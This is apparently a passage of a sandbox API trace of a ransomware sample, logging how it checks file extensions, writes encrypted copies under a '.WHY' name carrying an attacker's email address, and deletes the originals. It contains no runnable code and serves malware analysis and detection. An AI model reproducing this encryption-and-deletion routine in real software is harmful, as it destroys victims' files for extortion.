lstrlenW (lpString=".dbf") returned 4 [0278.396] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0278.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 63 [0278.396] lstrlenW (lpString=".1cd") returned 4 [0278.396] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0278.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 63 [0278.396] lstrlenW (lpString=".jpg") returned 4 [0278.396] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0278.397] lstrcmpiW (lpString1=".WMF", lpString2=".WHY") returned 1 [0278.397] lstrlenW (lpString="BD19828_.WMF") returned 12 [0278.397] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19828_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0278.399] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x302ff1c | out: lpFileSize=0x302ff1c*=8772) returned 1 [0278.400] CloseHandle (hObject=0x3bc) returned 1 [0278.400] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19828_.wmf")) returned 0x20 [0278.400] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19828_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0278.400] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19828_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0278.401] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0278.401] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0278.401] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19828_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0278.402] GetLastError () returned 0x0 [0278.402] ReadFile (in: hFile=0x3bc, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x302fed4*=0x2244, lpOverlapped=0x0) returned 1 [0278.461] WriteFile (in: hFile=0x3b0, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x2250, lpNumberOfBytesWritten=0x302fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x302fc9c*=0x2250, lpOverlapped=0x0) returned 1 [0278.466] ReadFile (in: hFile=0x3bc, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x302fed4*=0x0, lpOverlapped=0x0) returned 1 [0278.466] WriteFile (in: hFile=0x3b0, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x302fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x302fc9c*=0xec, lpOverlapped=0x0) returned 1 [0278.467] SetEndOfFile (hFile=0x3b0) returned 1 [0278.468] CloseHandle (hObject=0x3b0) returned 1 [0278.470] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0278.470] SetEndOfFile (hFile=0x3bc) returned 1 [0278.478] CloseHandle (hObject=0x3bc) returned 1 [0278.479] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0278.480] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19828_.wmf")) returned 1 [0278.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 63 [0278.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 63 [0278.481] lstrlenW (lpString=".doc") returned 4 [0278.481] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0278.482] lstrlenW (lpString=".docx") returned 5 [0278.482] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0278.482] lstrlenW (lpString=".pdf") returned 4 [0278.482] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0278.482] lstrlenW (lpString=".xls") returned 4 [0278.482] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0278.482] lstrlenW (lpString=".xlsx") returned 5 [0278.482] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0278.482] lstrlenW (lpString=".ppt") returned 4 [0278.482] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0278.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 63 [0278.482] lstrlenW (lpString=".zip") returned 4 [0278.482] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0278.483] lstrlenW (lpString=".rar") returned 4 [0278.483] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0278.483] lstrlenW (lpString=".bz2") returned 4 [0278.483] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0278.483] lstrlenW (lpString=".7z") returned 3 [0278.483] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0278.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 63 [0278.483] lstrlenW (lpString=".dbf") returned 4 [0278.483] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0278.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 63 [0278.483] lstrlenW (lpString=".1cd") returned 4 [0278.483] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0278.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 63 [0278.483] lstrlenW (lpString=".jpg") returned 4 [0278.483] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0278.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 63 [0278.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 63 [0278.484] lstrlenW (lpString=".doc") returned 4 [0278.484] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0278.484] lstrlenW (lpString=".docx") returned 5 [0278.484] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0278.484] lstrlenW (lpString=".pdf") returned 4 [0278.484] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0278.484] lstrlenW (lpString=".xls") returned 4 [0278.484] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0278.484] lstrlenW (lpString=".xlsx") returned 5 [0278.484] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0278.484] lstrlenW (lpString=".ppt") returned 4 [0278.484] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0278.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 63 [0278.485] lstrlenW (lpString=".zip") returned 4 [0278.485] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0278.485] lstrlenW (lpString=".rar") returned 4 [0278.486] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0278.486] lstrlenW (lpString=".bz2") returned 4 [0278.486] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0278.486] lstrlenW (lpString=".7z") returned 3 [0278.486] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0278.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 63 [0278.486] lstrlenW (lpString=".dbf") returned 4 [0278.486] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0278.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 63 [0278.486] lstrlenW (lpString=".1cd") returned 4 [0278.486] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0278.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 63 [0278.486] lstrlenW (lpString=".jpg") returned 4 [0278.487] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0278.487] lstrcmpiW (lpString1=".WMF", lpString2=".WHY") returned 1 [0278.487] lstrlenW (lpString="BD19986_.WMF") returned 12 [0278.487] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19986_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0278.488] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x302ff1c | out: lpFileSize=0x302ff1c*=14486) returned 1 [0278.489] CloseHandle (hObject=0x3bc) returned 1 [0278.489] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19986_.wmf")) returned 0x20 [0278.489] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19986_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0278.489] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19986_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0278.490] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0278.490] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0278.490] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19986_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0278.491] GetLastError () returned 0x0 [0278.491] ReadFile (in: hFile=0x3bc, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x302fed4*=0x3896, lpOverlapped=0x0) returned 1 [0278.544] WriteFile (in: hFile=0x3b0, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x38a0, lpNumberOfBytesWritten=0x302fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x302fc9c*=0x38a0, lpOverlapped=0x0) returned 1 [0278.571] ReadFile (in: hFile=0x3bc, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x302fed4*=0x0, lpOverlapped=0x0) returned 1 [0278.571] WriteFile (in: hFile=0x3b0, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x302fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x302fc9c*=0xec, lpOverlapped=0x0) returned 1 [0278.572] SetEndOfFile (hFile=0x3b0) returned 1 [0278.572] CloseHandle (hObject=0x3b0) returned 1 [0278.575] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0278.575] SetEndOfFile (hFile=0x3bc) returned 1 [0278.584] CloseHandle (hObject=0x3bc) returned 1 [0278.585] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0278.585] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19986_.wmf")) returned 1 [0278.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 63 [0278.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 63 [0278.586] lstrlenW (lpString=".doc") returned 4 [0278.587] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0278.587] lstrlenW (lpString=".docx") returned 5 [0278.587] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0278.587] lstrlenW (lpString=".pdf") returned 4 [0278.587] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0278.587] lstrlenW (lpString=".xls") returned 4 [0278.587] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0278.587] lstrlenW (lpString=".xlsx") returned 5 [0278.587] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0278.587] lstrlenW (lpString=".ppt") returned 4 [0278.587] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0278.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 63 [0278.587] lstrlenW (lpString=".zip") returned 4 [0278.587] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0278.588] lstrlenW (lpString=".rar") returned 4 [0278.588] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0278.588] lstrlenW (lpString=".bz2") returned 4 [0278.588] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0278.588] lstrlenW (lpString=".7z") returned 3 [0278.588] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0278.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 63 [0278.588] lstrlenW (lpString=".dbf") returned 4 [0278.588] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0278.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 63 [0278.588] lstrlenW (lpString=".1cd") returned 4 [0278.588] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0278.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 63 [0278.589] lstrlenW (lpString=".jpg") returned 4 [0278.589] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0278.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 63 [0278.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 63 [0278.589] lstrlenW (lpString=".doc") returned 4 [0278.589] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0278.589] lstrlenW (lpString=".docx") returned 5 [0278.589] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0278.589] lstrlenW (lpString=".pdf") returned 4 [0278.589] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0278.589] lstrlenW (lpString=".xls") returned 4 [0278.590] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0278.590] lstrlenW (lpString=".xlsx") returned 5 [0278.590] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0278.590] lstrlenW (lpString=".ppt") returned 4 [0278.590] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0278.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 63 [0278.590] lstrlenW (lpString=".zip") returned 4 [0278.590] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0278.590] lstrlenW (lpString=".rar") returned 4 [0278.590] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0278.590] lstrlenW (lpString=".bz2") returned 4 [0278.590] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0278.590] lstrlenW (lpString=".7z") returned 3 [0278.590] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0278.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 63 [0278.590] lstrlenW (lpString=".dbf") returned 4 [0278.591] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0278.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 63 [0278.591] lstrlenW (lpString=".1cd") returned 4 [0278.591] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0278.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 63 [0278.591] lstrlenW (lpString=".jpg") returned 4 [0278.591] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0278.591] lstrcmpiW (lpString1=".WMF", lpString2=".WHY") returned 1 [0278.592] lstrlenW (lpString="BD19988_.WMF") returned 12 [0278.592] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19988_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0278.593] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x302ff1c | out: lpFileSize=0x302ff1c*=18304) returned 1 [0278.593] CloseHandle (hObject=0x3bc) returned 1 [0278.593] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19988_.wmf")) returned 0x20 [0278.593] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19988_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0278.593] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19988_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0278.594] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0278.594] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0278.594] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19988_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0278.595] GetLastError () returned 0x0 [0278.595] ReadFile (in: hFile=0x3bc, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x302fed4*=0x4780, lpOverlapped=0x0) returned 1 [0278.628] WriteFile (in: hFile=0x3b0, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x4790, lpNumberOfBytesWritten=0x302fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x302fc9c*=0x4790, lpOverlapped=0x0) returned 1 [0278.633] ReadFile (in: hFile=0x3bc, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x302fed4*=0x0, lpOverlapped=0x0) returned 1 [0278.633] WriteFile (in: hFile=0x3b0, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x302fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x302fc9c*=0xec, lpOverlapped=0x0) returned 1 [0278.633] SetEndOfFile (hFile=0x3b0) returned 1 [0278.634] CloseHandle (hObject=0x3b0) returned 1 [0278.635] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0278.635] SetEndOfFile (hFile=0x3bc) returned 1 [0279.048] CloseHandle (hObject=0x3bc) returned 1 [0279.048] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0279.290] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19988_.wmf")) returned 1 [0279.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 63 [0279.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 63 [0279.292] lstrlenW (lpString=".doc") returned 4 [0279.292] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0279.292] lstrlenW (lpString=".docx") returned 5 [0279.292] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0279.292] lstrlenW (lpString=".pdf") returned 4 [0279.292] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0279.292] lstrlenW (lpString=".xls") returned 4 [0279.292] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0279.293] lstrlenW (lpString=".xlsx") returned 5 [0279.293] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0279.293] lstrlenW (lpString=".ppt") returned 4 [0279.293] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0279.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 63 [0279.293] lstrlenW (lpString=".zip") returned 4 [0279.293] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0279.293] lstrlenW (lpString=".rar") returned 4 [0279.293] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0279.293] lstrlenW (lpString=".bz2") returned 4 [0279.293] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0279.293] lstrlenW (lpString=".7z") returned 3 [0279.293] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0279.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 63 [0279.293] lstrlenW (lpString=".dbf") returned 4 [0279.294] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0279.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 63 [0279.294] lstrlenW (lpString=".1cd") returned 4 [0279.294] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0279.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 63 [0279.294] lstrlenW (lpString=".jpg") returned 4 [0279.294] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0279.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 63 [0279.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 63 [0279.294] lstrlenW (lpString=".doc") returned 4 [0279.295] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0279.295] lstrlenW (lpString=".docx") returned 5 [0279.295] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0279.295] lstrlenW (lpString=".pdf") returned 4 [0279.295] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0279.295] lstrlenW (lpString=".xls") returned 4 [0279.295] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0279.295] lstrlenW (lpString=".xlsx") returned 5 [0279.295] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0279.295] lstrlenW (lpString=".ppt") returned 4 [0279.295] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0279.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 63 [0279.295] lstrlenW (lpString=".zip") returned 4 [0279.295] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0279.295] lstrlenW (lpString=".rar") returned 4 [0279.296] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0279.296] lstrlenW (lpString=".bz2") returned 4 [0279.296] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0279.296] lstrlenW (lpString=".7z") returned 3 [0279.296] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0279.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 63 [0279.297] lstrlenW (lpString=".dbf") returned 4 [0279.297] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0279.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 63 [0279.297] lstrlenW (lpString=".1cd") returned 4 [0279.297] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0279.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 63 [0279.298] lstrlenW (lpString=".jpg") returned 4 [0279.298] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0279.298] lstrcmpiW (lpString1=".WMF", lpString2=".WHY") returned 1 